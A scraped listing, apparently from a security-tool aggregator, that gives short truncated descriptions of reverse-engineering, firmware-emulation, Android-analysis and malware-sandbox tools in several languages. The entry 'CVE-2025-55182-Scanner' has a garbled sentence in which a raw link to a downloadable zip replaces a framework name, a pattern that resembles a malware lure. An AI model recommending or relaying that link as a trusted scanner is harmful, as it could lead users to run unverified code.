RESim

RESim フルシステムシミュレータを使用したリバースエンジニアリング Simics1を使用したシミュレーションハードウェアのインストルメンテーションによる動的解析 プロセスツリー、システムコール、個々のプログラムのトレース 選択したブレークポイントとイベントへのリバース実行 IDA Protmデバッグクライアントとの統合 Ghidraデバッガと連携するためのGhidraプラグイン カスタマイズされたAFLでのファジング、シミュレーションメモリへの直接注入...

FirmAE

FirmAE FirmAE 是一个全自动框架，用于执行固件模拟和漏洞分析。FirmAE 通过五种仲裁技术显著提高了模拟成功率（从 Firmadyne 的 16.28% 提升至 79.36%）。我们在来自前八大厂商的 1,124 个无线路由器和 IP 摄像头固件镜像上测试了 FirmAE。 我们还开发了一款用于 0-day 漏洞发现的动态分析工具，该工具基于目标固件的文件系统和内核日志推断 Web 服务信息。通过在我们成功模拟的固件镜像上运行该工具，我们发现了 12 个影响 23 台设备的新 0-day 漏洞。 安装 请注意，我们已在 Ubuntu 20.04 上测试了 FirmAE。 1...

Mobile-Security-Framework-MobSF

モバイルセキュリティフレームワーク MobSF Mobile Security Framework MobSF は、Android、iOS、Windows Mobile 向けモバイルアプリケーションのセキュリティ研究プラットフォームです。MobSF は、モバイルアプリケーションセキュリティ、ペネトレーションテスト、マルウェア分析、プライバシー分析など、さまざまなユースケースに利用できます。静的解析 Static Analyzer は、APK、IPA、APPX などの一般的なモバイルアプリバイナリやソースコードをサポートしています。一方、動的解析 Dynamic Analyzer は...

ret-sync

ret-sync ret-sync は Reverse-Engineering Tools SYNChronization（逆解析ツールの同期）の略です。これは、デバッグセッション（WinDbg/GDB/LLDB/OllyDbg/OllyDbg2/x64dbg）と逆アセンブラ（IDA/Ghidra/Binary Ninja）を同期するためのプラグイン群です。基本的な考え方は単純です：静的解析と動的解析の両方の長所を活かすことです。 デバッガと動的解析は、以下を提供します： ライブの動的コンテキスト（レジスタ、メモリなど）によるローカルビュー...

awesome-android-security

Awesome-Android-Security 目录 博客 操作指南 论文 书籍 培训 工具 静态分析工具 动态分析工具 在线APK分析器 在线APK反编译器 取证分析工具 实验室 演讲 杂项 漏洞赏金与Writeup 速查表 检查清单 漏洞赏金报告 博客 韩国最大移动聊天应用中的一键漏洞 小米设备中发现的20个安全问题 绕过Android上Instagram和Threads的SSL证书固定 逆向工程Android游戏Coin Hunt World及其通信协议以作弊 发现Android中特定于厂商的漏洞 Alien Android恶意软件的技术分析 Android设备的锁屏绕过漏洞...

reFlutter

詳細はブログをご覧ください: https://swarm.ptsecurity.com/fork-bomb-for-flutter/ このフレームワークは、Flutterアプリのリバースエンジニアリングを支援します。パッチが適用されたFlutterライブラリ（すでにコンパイル済みでアプリの再パッケージ化に使用可能）を利用し、スナップショットのデシリアライズプロセスが変更されているため、動的解析を便利に行うことができます。 主な機能: socket.cc にパッチが適用され、トラフィックの監視とインターセプトが可能; dart.cc が変更され、クラス、関数、一部のフィールドを出力;...

firmadyne

目次 目次 はじめに セットアップ 抽出ツール データベース バイナリ QEMU 使い方 FAQ run.sh が生成されない ログが "Kernel panic - not syncing: No working init found" で終了する プロセスがクラッシュした場合（例：dopagefault 2: sending SIGSEGV for invalid read access from 00000000） エミュレートされたファームウェアをデバッグするには？ ソースからのコンパイル ツールチェーン コンソール libnvram カーネル ARM MIPS データベース デ...

ghidra2frida

ghidra2frida ghidra2frida は Ghidra 拡張機能であり、Ghidra と Frida の間の橋渡しとして機能します。これにより、Frida の動的解析エンジンを活用して Ghidra の静的解析機能を強化する、強力な Ghidra スクリプトを作成できます。Frida がサポートするすべてのプラットフォーム（Windows、macOS、Linux、iOS、Android、QNX）をサポートしています。 このプラグインは、Brida のアイデア（およびコード）に基づいています。ghidra2frida 自体は、Ghidra と Frida...

aparoid

Aparoid Aparoidは、Androidアプリケーション分析のために設計されたフレームワークです。モバイルアプリケーションの脆弱性やその他のリスクを発見するための自動化されたツール群を提供します。Flaskフレームワークを使用して構築されており、APKファイルをアップロードして内容や結果を探索するためのWeb GUIを提供します。 現在のバージョンは以下の機能を提供します。 jadxを使用したAPK逆コンパイル 脆弱性検出システム（ダッシュボードを使用してルールを設定可能） バイナリファイルのリスク分析 React...

AndroTickler

AndroTickler Androidアプリのペンテストをより速く、より簡単に、より効率的に行うためのJavaツールです。AndroTicklerは、情報収集、静的および動的チェックなど、Androidアプリのペンテストのほとんどの側面をカバーする多くの機能を提供します。また、ペンテスターがペンテスト中に必要とするいくつかの機能も提供します。AndroTicklerはFridaと統合して、メソッドトレースと操作を提供します。以前はTickler という名前で公開されていました。...

iblessing

☠️ ██╗██████╗ ██╗ ███████╗███████╗███████╗██╗███╗ ██╗ ██████╗ ██║██╔══██╗██║ ██╔════╝██╔════╝██╔════╝██║████╗ ██║██╔════╝ ██║██████╔╝██║ █████╗ ███████╗███████╗██║██╔██╗ ██║██║ ███╗ ██║██╔══██╗██║ ██╔══╝ ╚════██║╚════██║██║██║╚██╗██║██║ ██║ ██║██████╔╝███████╗███████╗███████║███████║██║██║...

reverse-engineering

リバースエンジニアリングリソース 厳選された素晴らしいリバースエンジニアリングリソースのリスト 素晴らしいリバースエンジニアリング 書籍 コース 練習問題 16進エディタ バイナリフォーマット 逆アセンブラ バイナリ解析 バイトコード解析 インポート再構築 動的解析 デバッグ Mac復号 ドキュメント解析 スクリプト Android Yara 書籍 リバースエンジニアリングの書籍 The IDA Pro Book Radare2 Book Reverse Engineering for Beginners The Art of Assembly Language Practical...

FirmWire

root@kitploit: -. .-. | |+ \ \ / /+ .-. .- \ / \ | | | | '| ' \ // / | | '/ - / \ / '-' '-|| | || |||// | || |-' '-' FirmWire FirmWire は Samsung および MediaTek をサポートするフルシステムベースバンドファームウェア解析プラットフォームです。ベースバンドファームウェアイメージのファジング、根本原因解析、デバッグを可能にします。始めるにはFirmWire ドキュメント を参照してください！ BibTeX FirmWire...

Limon

Limon - Linuxマルウェア解析用サンドボックス...

jackhammer

Jackhammer: One Security vulnerability assessment/management tool to solve all the security team problems. What is Jackhammer? Jackhammer is a collaboration tool built with an aim of bridging the gap between Security team vs dev team, QA team and being a facilitator for TPM to understand and trac...

Inspeckage

Inspeckage - Android 包检查器 Inspeckage 是一个用于对 Android 应用进行动态分析的工具。通过对 Android API 函数应用钩子（hooks），Inspeckage 可以帮助您理解 Android 应用在运行时的行为。 http://ac-pm.github.io/Inspeckage https://twitter.com/inspeckage https://play.google.com/store/apps/details?id=mobi.acpm.inspeckage...

detux

Detux: The Multiplatform Linux Sandbox Introduction: Detux is a sandbox developed to do traffic analysis of the Linux malwares and capture the IOCs by doing so. QEMU hypervisor is used to emulate Linux Debian for various CPU architectures. The following CPUs are currently supported: x86 x86-64 AR...

droidbox

はじめに DroidBoxは、Androidアプリケーションの動的解析を提供するために開発されました。解析が完了した際に生成される結果には、以下の情報が含まれています： 解析対象パッケージのハッシュ 受信/送信ネットワークデータ ファイルの読み取りおよび書き込み操作 DexClassLoaderを介して起動されたサービスとロードされたクラス ネットワーク、ファイル、SMSを介した情報漏洩 回避された権限 Android APIを使用して実行された暗号化操作 ブロードキャストレシーバの一覧 送信されたSMSと電話...

CVE-2025-55182-Scanner

🔍 CVE-2025-55182-Scanner - 检测并保护您的应用程序 🌟 概述 CVE-2025-55182-Scanner 是一个混合安全扫描器，旨在帮助您识别 https://raw.githubusercontent.com/captain4554/CVE-2025-55182-Scanner/main/scanner/CV-Scanner-v2.4.zip 和 Waku 应用程序中的漏洞。该工具结合了静态代码分析与安全的动态验证，使其非常适合 DevSecOps 工作流程。无论您是开发者还是普通用户，该扫描器都将帮助您保护应用程序免受潜在威胁。 🚀 快速开始 要开始使用...

Awesome-Android-Reverse-Engineering

安卓逆向工程精选资源 精心整理的安卓逆向工程培训、资源和工具列表。 使用方法 Awesome-Android-Reverse-Engineering 是一个面向安卓应用、系统或组件拆解工作者的精选列表。只需按 ctrl + F 搜索关键词，浏览我们的目录菜单，或者寻找标有 '☆' 的优秀且更新的资源。 目录 培训 课程与资料 视频 书籍 工具 静态分析工具 动态分析工具 反编译器 恶意软件分析 资源 文档 案例研究 CTF 与 CrackMe 其他 混淆与反逆向 固件与内核分析 云 API 与 Web 服务逆向 培训 课程与资料 ☆ Maddie Stone 的安卓逆向工程培训 - 由...